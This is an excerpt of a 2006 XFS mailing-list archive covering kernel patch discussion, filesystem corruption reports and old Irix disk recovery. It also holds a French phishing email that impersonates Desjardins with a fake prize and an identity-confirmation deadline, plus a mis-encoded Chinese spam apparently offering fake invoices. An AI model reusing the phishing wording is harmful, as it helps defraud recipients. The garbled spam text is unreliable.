2006-10-17 11:51:13.890110076 +1000 @@ -26,7 +26,7 @@ DEFINE_SPINLOCK(vnumber_lock); */ #define NVSYNC 37 #define vptosync(v) (&vsync[((unsigned long)v) % NVSYNC]) -STATIC wait_queue_head_t vsync[NVSYNC]; +static wait_queue_head_t vsync[NVSYNC]; void vn_init(void) Index: 2.6.x-xfs-new/fs/xfs/xfs_refcache.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_refcache.c 2006-08-31 16:17:52.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_refcache.c 2006-10-17 11:50:41.145766729 +1000 @@ -45,11 +45,11 @@ #include "xfs_buf_item.h" #include "xfs_refcache.h" -STATIC spinlock_t xfs_refcache_lock = SPIN_LOCK_UNLOCKED; -STATIC xfs_inode_t **xfs_refcache; -STATIC int xfs_refcache_index; -STATIC int xfs_refcache_busy; -STATIC int xfs_refcache_count; +static spinlock_t xfs_refcache_lock = SPIN_LOCK_UNLOCKED; +static xfs_inode_t **xfs_refcache; +static int xfs_refcache_index; +static int xfs_refcache_busy; +static int xfs_refcache_count; /* * Insert the given inode into the reference cache. From owner-xfs@oss.sgi.com Mon Oct 16 20:17:33 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 16 Oct 2006 20:17:43 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9H3HVaG013869 for ; Mon, 16 Oct 2006 20:17:33 -0700 X-ASG-Debug-ID: 1161055007-21355-649-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from prod.aconex.com (mail.app.aconex.com [203.89.192.138]) by cuda.sgi.com (Spam Firewall) with ESMTP id 47871D134415 for ; Mon, 16 Oct 2006 20:16:48 -0700 (PDT) Received: from page.mel.office.aconex.com (unknown [192.168.0.210]) by prod.aconex.com (Postfix) with ESMTP id 981E928B68; Tue, 17 Oct 2006 13:16:44 +1000 (EST) Received: from localhost (page.mel.aconex.com [127.0.0.1]) by page.mel.office.aconex.com (Postfix) with ESMTP id 9E0FB53410E; Tue, 17 Oct 2006 13:16:43 +1000 (EST) Received: from page.mel.office.aconex.com ([127.0.0.1]) by localhost (mail.aconex.com [127.0.0.1]) (amavisd-new, port 10024) with LMTP id 21411-01-14; Tue, 17 Oct 2006 13:16:42 +1000 (EST) Received: from edge (unknown [192.168.0.246]) by page.mel.office.aconex.com (Postfix) with ESMTP id 5F49253411B; Tue, 17 Oct 2006 13:16:12 +1000 (EST) X-ASG-Orig-Subj: Re: [PATCH 1/2] Make stuff static Subject: Re: [PATCH 1/2] Make stuff static From: Nathan Scott Reply-To: nscott@aconex.com To: David Chinner Cc: Eric Sandeen , Russell Cattelan , Timothy Shimmin , xfs@oss.sgi.com In-Reply-To: <20061017030908.GP11034@melbourne.sgi.com> References: <20060929032856.8DA9C18001A5E@sandeen.net> <23F15D6AE8566A54B81188AC@timothy-shimmins-power-mac-g5.local> <45338DDE.8020903@sandeen.net> <4533FAEA.2080500@sandeen.net> <20061016232250.GM11034@melbourne.sgi.com> <1161042943.5723.117.camel@xenon.msp.redhat.com> <20061017005038.GN11034@melbourne.sgi.com> <45342BF3.8020609@sandeen.net> <20061017030908.GP11034@melbourne.sgi.com> Content-Type: text/plain Organization: Aconex Date: Tue, 17 Oct 2006 13:18:04 +1000 Message-Id: <1161055084.17754.7.camel@edge> Mime-Version: 1.0 X-Mailer: Evolution 2.6.3 Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23436 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9318 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: nscott@aconex.com Precedence: bulk X-list: xfs Status: O On Tue, 2006-10-17 at 13:09 +1000, David Chinner wrote: > On Mon, Oct 16, 2006 at 08:03:47PM -0500, Eric Sandeen wrote: > > David Chinner wrote: > > > Of course, no plan ever survives contact with the enemy. :/ > > STATIC is also used for defining various structure tables. > And variables. They'll all get changed to "static".... > > Then there's __inline and __inline__ still used in places..... > > The patch that follows does the noinline change, de-inlines > xfs_cleanup_inode() and cleans up all the inline cruft hanging around. > > Comments? > Be careful of userspace, where much of this code is also compiled in libxfs, and STATIC is always #defined away to nothingness there (as there's need for some routines to be accessed outside of one source file there, differently to the kernel, IIRC). cheers. -- Nathan From owner-xfs@oss.sgi.com Mon Oct 16 20:41:04 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 16 Oct 2006 20:41:14 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9H3f2aG020843 for ; Mon, 16 Oct 2006 20:41:04 -0700 X-ASG-Debug-ID: 1161052662-12343-742-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from stupino.serverseasy.net (stupino.serverseasy.net [66.225.201.49]) by cuda.sgi.com (Spam Firewall) with ESMTP id 4CD61D198428 for ; Mon, 16 Oct 2006 19:37:42 -0700 (PDT) Received: from nobody by stupino.serverseasy.net with local (Exim 4.52) id 1GZepp-0004pI-CM for xfs@oss.sgi.com; Mon, 16 Oct 2006 21:37:41 -0500 To: xfs@oss.sgi.com X-ASG-Orig-Subj: Important : Vous avez gagner 5000$ Subject: Important : Vous avez gagner 5000$ X-PHP-Script: www.grnaas.net/greats/index.php for 24.202.142.18 From: Concours Desjardins Reply-To: info@spd.desjardins.com MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit Message-Id: Date: Mon, 16 Oct 2006 21:37:41 -0500 X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - stupino.serverseasy.net X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [99 32002] / [47 12] X-AntiAbuse: Sender Address Domain - stupino.serverseasy.net X-Source: X-Source-Args: /usr/local/apache/bin/httpd -DSSL X-Source-Dir: grnaas.net:/public_html/greats X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23433 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9319 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: info@spd.desjardins.com Precedence: bulk X-list: xfs Status: O

Attention « Vous avez gagner 5000$ ! »

Desjardins paie vos taxes

Vous devez confirmer votre identite, Desjardins est heureux de vous remettre le prix de 5000$ ! ,

Veuillez prendre note que si vous ne confirmez pas votre identite nous ne pourrons
pas vous remettre votre prix

Vous devez confirmer votre identite avant le : 18 Octobre 2006

Pour payer vos comptes de taxes maintenant!

Veuillez cliquer ci-dessus pour reclamez votre prix

Composez l'un des numéros suivants pour toutes autres questions:

  • Montréal et les environs : (514) JACCÈSD (522-2373)
  • Ailleurs au Canada : 1 800 CAISSES (224-7737).

From owner-xfs@oss.sgi.com Mon Oct 16 22:36:00 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 16 Oct 2006 22:36:07 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9H5ZxaG001538 for ; Mon, 16 Oct 2006 22:36:00 -0700 X-ASG-Debug-ID: 1161063316-18804-846-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from home.jason.bur.st (ppp77-57.lns1.mel3.internode.on.net [59.167.77.57]) by cuda.sgi.com (Spam Firewall) with ESMTP id C418B4AEBCC for ; Mon, 16 Oct 2006 22:35:16 -0700 (PDT) Received: by home.jason.bur.st (Postfix, from userid 1000) id 4996A7801C8A; Tue, 17 Oct 2006 15:35:14 +1000 (EST) Date: Tue, 17 Oct 2006 15:35:14 +1000 From: Jason White To: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: FS corruption and repair problem Subject: Re: FS corruption and repair problem Message-ID: <20061017053514.GA5095@jdc> Mail-Followup-To: xfs@oss.sgi.com References: <20061016082532.GA5574@jdc> <45338FEA.3060709@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <45338FEA.3060709@sandeen.net> User-Agent: mutt-ng/devel-r774 (Debian) X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23441 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9320 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: jasonjgw@internode.on.net Precedence: bulk X-list: xfs Status: O On Mon, Oct 16, 2006 at 08:58:02AM -0500, Eric Sandeen wrote: > The original reason for the shutdown would probably be interesting here, that's > missing information about the first problem you encountered. Unfortunately, yes. The first I knew about it came in the form of i/o errors and processes terminating with error 990. > > But, from the repair output, it looks like corrupted directory data on disk, > hard to say when/why it occurred. Newer repair is always a good idea, but if > the directory is badly corrupted then there's not a lot of magic to be done. The newer repair ran to completion and corrected more errors. If the corruption recurs, the next step will be to reinstall everything. Fortunately, I have multiple backups of important files, though one of them was to an XFS file system created under kernel 2.6.17, which had minor directory corruption that was fixed by xfs_repair. After mounting that drive under 2.6.18, I created an entirely new backup and compared it with the old; the only files which had changed were those which I knew to have been updated since the previous backup. After unmounting the backup fs I ran xfs_check, which reported no problems. Thus I suspect that in the case of the backup drive, the FS corruption was due to the 2.6.17 bug, since copying gigabytes of files to it failed to reproduce the problem, and all seems fine under 2.6.18. I am still pleased with XFS as I have been using it since 2001, and the only problems have been due to bugs that were quickly fixed by the developers, and most of these happened prior to the integration of XFS into the mainline. From owner-xfs@oss.sgi.com Tue Oct 17 00:14:46 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 17 Oct 2006 00:14:57 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9H7EhaG017704 for ; Tue, 17 Oct 2006 00:14:45 -0700 Received: from pmmelb207.melbourne.sgi.com (pmmelb207.melbourne.sgi.com [134.14.52.207]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id RAA05004; Tue, 17 Oct 2006 17:13:45 +1000 Date: Tue, 17 Oct 2006 17:13:01 +1000 From: Tim Shimmin To: David Chinner , Russell Cattelan cc: Eric Sandeen , xfs@oss.sgi.com Subject: Re: [PATCH 1/2] Make stuff static Message-ID: In-Reply-To: <20061017005038.GN11034@melbourne.sgi.com> References: <20060929032856.8DA9C18001A5E@sandeen.net> <23F15D6AE8566A54B81188AC@timothy-shimmins-power-mac-g5.local> <45338DDE.8020903@sandeen.net> <4533FAEA.2080500@sandeen.net> <20061016232250.GM11034@melbourne.sgi.com> <1161042943.5723.117.camel@xenon.msp.redhat.com> <20061017005038.GN11034@melbourne.sgi.com> X-Mailer: Mulberry/4.0.6 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-archive-position: 9321 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: tes@sgi.com Precedence: bulk X-list: xfs Status: O --On 17 October 2006 10:50:38 AM +1000 David Chinner wrote: > On Mon, Oct 16, 2006 at 06:55:43PM -0500, Russell Cattelan wrote: >> On Tue, 2006-10-17 at 09:22 +1000, David Chinner wrote: >> > On Mon, Oct 16, 2006 at 04:34:34PM -0500, Eric Sandeen wrote: >> > > Eric Sandeen wrote: >> > > > Timothy Shimmin wrote: >> > > >> Okay, started looking :-) >> > > >> > > One other thing, based on the bug on osdl today, some of these larger >> > > newly-static functions should probably be marked noinline to keep gcc >> > > from doing things we don't want it to... >> > >> > >> > >> > This is not an obvious compiler hint (compared to, say, likely()) as >> > the functions gcc automatically inlines changes according to >> > compiler version, optimisation level and platform. Hence adding >> > noinline notation will be like playing whack-a-mole and I doubt it >> > will be consistently used or maintained moving forward. It's the >> > wrong solution, IMO. >> > >> > I think we should change the definition of STATIC so we don't have >> > to poison the code to work around some stupid compiler behaviour. >> > That is, unless we specifically say "inline" for static functions, >> > we really mean "noinline". > >> So you are proposing? >> /* non-debug */ >> # define STATIC static inline >> /* debug */ >> # define STATIC noinline > > No. > > Currently STATIC is defined in fs/xfs/support/debug.h as: > ># ifndef STATIC ># define STATIC static ># endif > > I'm proposing that gets changed to: > >> # define STATIC static noinline > > This. > >> That doesn't work either ... >> STATIC inline >> becomes >> static noline inline? > > Fix them - inline functions in header files should always be "static > inline". Inline functions in .c files should always be static as > well - if they need to be accessed from different source files then > they need to be in header files. Hence "STATIC inline" is broken > code and should be fixed anyway. Luckily, there are very few of > these to fix and they are all in .c files: > > chook 137% grep -rIw "STATIC inline" fs/xfs | wc -l > 21 > So you are saying that "static inline"s should always be. So for CONFIG_XFS_DEBUG where we define STATIC and so make static disappear for uses of STATIC, we will no longer touch these "static inline" functions. I thought that for debug, we could stop them from being inline for easier debugging. We could have a STATIC_INLINE :-) --Tim From owner-xfs@oss.sgi.com Tue Oct 17 00:41:05 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 17 Oct 2006 00:41:16 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9H7f1aG025622 for ; Tue, 17 Oct 2006 00:41:03 -0700 Received: from SGIGORT (dhcp16.melbourne.sgi.com [134.14.55.16]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id QAA04279; Tue, 17 Oct 2006 16:34:14 +1000 Reply-To: From: "Mike Gigante" To: "'Eric Sandeen'" , "'Honza Fikar'" Cc: Subject: RE: recover xfs with v1 dirs on linux? Date: Tue, 17 Oct 2006 16:34:13 +1000 Organization: Fileserving Technologies Message-ID: <004401c6f1b6$441f1f30$10370e86@SGIGORT> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 11 Thread-Index: AcbxKtH0b8h3ZsJ+QTeK5Hhuqx1M2gAisTBw X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2962 In-Reply-To: <45338EC9.9010501@sandeen.net> X-archive-position: 9322 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: mg@sgi.com Precedence: bulk X-list: xfs Status: O Actually the real answer is that this is something that SGI Managed Services can do for a one-off fee. We will not be supporting V1 directories on Linux and there is simply not sufficient demand/$$ to justify SGI engineering doing the work required to implement a tool. I spoke to the local SGI Customer Support Manager and he assures me that any SGI service organisation worldwide would happily do this kind of service. Mike --- Mike Gigante Engineering Director, Fileserving Technologies SGI, Melbourne, Australia NOTE: new phone number +61 3 9963 1951 -----Original Message----- From: xfs-bounce@oss.sgi.com [mailto:xfs-bounce@oss.sgi.com] On Behalf Of Eric Sandeen Sent: Monday, October 16, 2006 11:53 PM To: Honza Fikar Cc: xfs@oss.sgi.com Subject: Re: recover xfs with v1 dirs on linux? Honza Fikar wrote: > Hi everybody, > > I want to recover old SGI Irix xfs disks, but I don't have any more > the old hardware. I was able to copy the xfs partition in a file with > dd and I could run xfs_recover, xfs_check and xfs_ncheck, which gives > me the filenames. But I was not able to mount this file. Kernel 2.6.17 > gives "Function not implemented", while 2.6.5 mounts, but the disk looks empty. > > I think the reason is "v1 dirs": > > file img4.xfs > img4.xfs: SGI XFS filesystem data (blksz 4096, inosz 256, v1 dirs) > > Is there a way to get the files? I have the innode numbers and > filenames as an output of xfs_ncheck: > .... > 947364 abc/MIXDUM/MD110/20K/step9/dynrt.out.gz > 184821 aa/Monteal/fmd3kev-45K/cluster.I.076.gz > 1286273 abc/MIXDUM/MD111/250K/step10/dyn5.f1.gz > ... v1dir support was removed a short while ago, they never really worked on Linux. http://oss.sgi.com/projects/xfs/faq.html#useirixxfs Older kernels had rudimentary v1 support, and you may find some degree of functionality, or, as it seems in your case, no functionality at all. If this is terribly important data, then some finite amount of work (involving a patched glibc, IIRC) might be able to get you going. -Eric From owner-xfs@oss.sgi.com Tue Oct 17 01:14:36 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 17 Oct 2006 01:14:49 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9H8EWaG031697 for ; Tue, 17 Oct 2006 01:14:36 -0700 X-ASG-Debug-ID: 1161069094-24037-540-1 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from 126.com (unknown [218.18.55.136]) by cuda.sgi.com (Spam Firewall) with ESMTP id F3EAAD197BD1 for ; Tue, 17 Oct 2006 00:11:39 -0700 (PDT) From: =?GB2312?B?wO7PyMn6?= X-ASG-Orig-Subj: =?GB2312?B?us/X9yE=?= Subject: =?GB2312?B?us/X9yE=?= To: linux-xfs@oss.sgi.com Content-Type: text/plain;charset="GB2312" Reply-To: rgbic@126.com Date: Tue, 17 Oct 2006 15:11:37 +0800 X-Priority: 3 X-Mailer: FoxMail 4.0 beta 2 [cn] Message-Id: <20061017071139.F3EAAD197BD1@cuda.sgi.com> X-Barracuda-Spam-Score: 0.70 X-Barracuda-Spam-Status: No, SCORE=0.70 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=MSGID_FROM_MTA_ID X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23448 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.70 MSGID_FROM_MTA_ID Message-Id for external message added locally X-archive-position: 9323 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: rgbic@126.com Precedence: bulk X-list: xfs Status: O ÄúºÃ! ±¾¹«Ë¾ÊÇÒ»¸ö¹Ì¶¨ÄÉ˰¹«Ë¾,±¾×Å»¥»Ý»¥ÀûµÄºÏ×÷Ô­ÔòÁªºÏ¹úÄÚ¶à¼Ò¹«Ë¾ ͨ¹ý˰ÎñºÏ×÷¶ÔÍ⿪¾ßÓà¶î·¢Æ±.´ú¿ª·¶Î§£º (ÉÌÆ·ÏúÊÛ¡¢¹ã¸æÉè¼Æ¡¢½¨Öþ°²×°¡¢×âÁÞ¡¢ÔËÊä¡¢·þÎñ×ÉѯµÈµÈ·¢Æ±) ˰ÂÊÔÚ0.8¡ª2%Ö®¼ä£¨¾ßÌå˰ÂÊÓÉ¿ªÆ±Êý¶î´óСÉÌ̸£©¡£ ¹ó¹«Ë¾ÈçÓÐÐèÒª,»¶Ó­ÄúÀ´µçÀ´ÓÊ! ±¾¹«Ë¾ÒÔ³ÏÐŵĺÏ×÷·½Ê½¿ÉÒÔÏÈ¿ª¾ß·¢Æ±¸ø¹ó¹«Ë¾ÑéÖ¤ºóÔÙ¸¶¿î. ðÃÁ´òÈÅ, Çë¶à°üº­! Áª ϵ ÈË:ºÎÏÈÉú µç¡¡¡¡»°:13510917989 µç×ÓÓÊÏä:haoting_2003@126.com From owner-xfs@oss.sgi.com Tue Oct 17 01:51:30 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 17 Oct 2006 01:51:37 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9H8pTaG005367 for ; Tue, 17 Oct 2006 01:51:29 -0700 X-ASG-Debug-ID: 1161070673-28263-777-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mondschein.lichtvoll.de (mondschein.lichtschiff.de [194.150.191.238]) by cuda.sgi.com (Spam Firewall) with ESMTP id 9E6894AF6C0 for ; Tue, 17 Oct 2006 00:37:53 -0700 (PDT) Received: from deepdance.of.teamix.net (blackhole.teamix.net [194.150.191.251]) by mondschein.lichtvoll.de (Postfix) with ESMTP id CF3D9FA0AD for ; Tue, 17 Oct 2006 09:35:47 +0200 (CEST) From: Martin Steigerwald To: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: FS corruption and repair problem Subject: Re: FS corruption and repair problem Date: Tue, 17 Oct 2006 09:37:30 +0200 User-Agent: KMail/1.9.5 References: <20061016082532.GA5574@jdc> <45338FEA.3060709@sandeen.net> <20061017053514.GA5095@jdc> In-Reply-To: <20061017053514.GA5095@jdc> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200610170937.31036.Martin@lichtvoll.de> X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23441 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9324 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: Martin@lichtvoll.de Precedence: bulk X-list: xfs Status: O Am Dienstag 17 Oktober 2006 07:35 schrieb Jason White: > Unfortunately, yes. The first I knew about it came in the form of i/o > errors and processes terminating with error 990. Hello Jason, this is the error code XFS returns when it detects corruption. AFAIK it has been changed to something more meaningful lately. > After unmounting the backup fs I ran xfs_check, which reported no > problems. Thus I suspect that in the case of the backup drive, the FS > corruption was due to the 2.6.17 bug, since copying gigabytes of files > to it failed to reproduce the problem, and all seems fine under 2.6.18. > > I am still pleased with XFS as I have been using it since 2001, and the > only problems have been due to bugs that were quickly fixed by the > developers, and most of these happened prior to the integration of XFS > into the mainline. Since 2.6.17.7 I had no fs corruption with XFS anymore. Neither on my laptop nor on my workstation. On my laptop I had quite some issues with 2.6.16 which I omitted on my Workstation except 2.6.16rc1. I am currently running 2.6.18 and am pretty pleased. Make sure that write barriers are enabled (is default since 2.6.17, was not the default 2.6.16 which IMHO at least partly contributed to my problems with it). Umount an XFS partition, do tail -f /var/log/syslog or tail -f /var/log/messages and mount it again. If XFS can't do write barriers on your machine, it should put an error message into log. You can find more about this is in the approbiate log entry. Regards, -- Martin 'Helios' Steigerwald - http://www.Lichtvoll.de GPG: 03B0 0D6C 0040 0710 4AFA B82F 991B EAAC A599 84C7 From owner-xfs@oss.sgi.com Tue Oct 17 02:31:54 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 17 Oct 2006 02:32:01 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9H9VraG009916 for ; Tue, 17 Oct 2006 02:31:54 -0700 X-ASG-Debug-ID: 1161077469-1915-467-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.186]) by cuda.sgi.com (Spam Firewall) with ESMTP id E15304B03D5 for ; Tue, 17 Oct 2006 02:31:09 -0700 (PDT) Received: by nf-out-0910.google.com with SMTP id n29so213336nfc for ; Tue, 17 Oct 2006 02:31:08 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=Duni4PHfFjDw4Z3t7EhV0vhPwAgZsS6MGu4B+4MhU2ZghcIzRnYscoNkEH6L3Ceg/D/5UT0KTbgIlcr63GJGmWUUmb/Ls7fBecLLNSSr1VPoAYppdocYXP7vMclzVHqaymXCHEqsxhwcUEeG7kayqV8TzEGrKWeoc31MV/i+K+s= Received: by 10.82.127.15 with SMTP id z15mr1316981buc; Tue, 17 Oct 2006 02:31:08 -0700 (PDT) Received: by 10.82.114.16 with HTTP; Tue, 17 Oct 2006 02:31:07 -0700 (PDT) Message-ID: <2117b660610170231k1215aaf5k987b92c7a90c79d5@mail.gmail.com> Date: Tue, 17 Oct 2006 11:31:07 +0200 From: "Honza Fikar" To: "Eric Sandeen" X-ASG-Orig-Subj: Re: recover xfs with v1 dirs on linux? Subject: Re: recover xfs with v1 dirs on linux? Cc: xfs@oss.sgi.com In-Reply-To: <45338EC9.9010501@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <2117b660610160232p1ffb28e0necfeeb377b5d4ead@mail.gmail.com> <45338EC9.9010501@sandeen.net> X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23456 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9325 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: j.fikar@gmail.com Precedence: bulk X-list: xfs Status: O > v1dir support was removed a short while ago, they never really worked on Linux. > > http://oss.sgi.com/projects/xfs/faq.html#useirixxfs > > Older kernels had rudimentary v1 support, and you may find some degree of > functionality, or, as it seems in your case, no functionality at all. > > If this is terribly important data, then some finite amount of work (involving a > patched glibc, IIRC) might be able to get you going. Can you please provide some hints, unfortunately I was not able to find it with google. Jan From owner-xfs@oss.sgi.com Tue Oct 17 07:24:30 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 17 Oct 2006 07:24:39 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9HEORaG010670 for ; Tue, 17 Oct 2006 07:24:29 -0700 X-ASG-Debug-ID: 1161091140-6237-647-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mondschein.lichtvoll.de (mondschein.lichtschiff.de [194.150.191.238]) by cuda.sgi.com (Spam Firewall) with ESMTP id 9F1BFD1998A6 for ; Tue, 17 Oct 2006 06:19:01 -0700 (PDT) Received: from deepdance.of.teamix.net (blackhole.teamix.net [194.150.191.251]) by mondschein.lichtvoll.de (Postfix) with ESMTP id 71E5CF9FB1 for ; Tue, 17 Oct 2006 15:17:10 +0200 (CEST) From: Martin Steigerwald To: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: Re: FS corruption and repair problem Subject: Re: FS corruption and repair problem Date: Tue, 17 Oct 2006 15:18:55 +0200 User-Agent: KMail/1.9.5 References: <20061016082532.GA5574@jdc> <20061017053514.GA5095@jdc> <200610170937.31036.Martin@lichtvoll.de> In-Reply-To: <200610170937.31036.Martin@lichtvoll.de> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200610171518.55730.Martin@lichtvoll.de> X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23466 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9326 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: Martin@lichtvoll.de Precedence: bulk X-list: xfs Status: O Am Dienstag 17 Oktober 2006 09:37 schrieb Martin Steigerwald: > or tail -f /var/log/messages and mount it again. If XFS can't do write > barriers on your machine, it should put an error message into log. You > can find more about this is in the approbiate log entry. Sorry, XFS faq entry that is... -- Martin From owner-xfs@oss.sgi.com Tue Oct 17 14:58:04 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 17 Oct 2006 14:58:15 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9HLw1aG002983 for ; Tue, 17 Oct 2006 14:58:03 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id HAA25661; Wed, 18 Oct 2006 07:57:13 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9HLvA7Y10019734; Wed, 18 Oct 